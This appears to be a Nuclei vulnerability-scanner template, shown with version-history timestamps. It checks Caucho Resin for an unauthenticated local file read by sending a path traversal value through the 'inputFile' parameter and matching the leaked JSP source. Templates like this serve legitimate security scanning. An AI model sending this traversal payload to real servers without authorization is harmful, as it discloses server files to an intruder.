nuclei-templates/http/vulnerabilities/other/resin-inputfile-fileread.yaml

29 lines
1010 B
YAML
Raw Normal View History

2021-04-22 13:46:56 +00:00
id: resin-inputfile-fileread
2021-04-22 13:46:56 +00:00
info:
name: Caucho Resin LFR
author: princechaddha
severity: high
2021-08-09 13:08:19 +00:00
description: A vulnerability in Caucho Resin allows remote unauthenticated users to utilize the 'inputFile' variable to include the content of locally stored files and disclose their content.
reference:
- https://blkstone.github.io/2017/10/30/resin-attack-vectors/
metadata:
max-request: 1
2023-10-14 11:27:55 +00:00
tags: resin,caucho,lfr
2021-04-22 13:46:56 +00:00
http:
2021-04-22 13:46:56 +00:00
- method: GET
path:
- "{{BaseURL}}/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp"
2023-10-14 11:27:55 +00:00
2021-04-22 13:46:56 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
2023-10-14 11:27:55 +00:00
2021-04-22 13:46:56 +00:00
- type: word
words:
2021-06-23 20:58:18 +00:00
- "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
2021-04-22 13:46:56 +00:00
part: body
# digest: 4a0a00473045022100a9aebab3527c859a2be972ba99ada1537bf3204c98f47abe94a56ea005d7e04f02200942304903513e5af0b4e82a3ec5b4488a1d089bb028be04746e4890d9f57bec:922c64590222798bb761d5b6d8e72950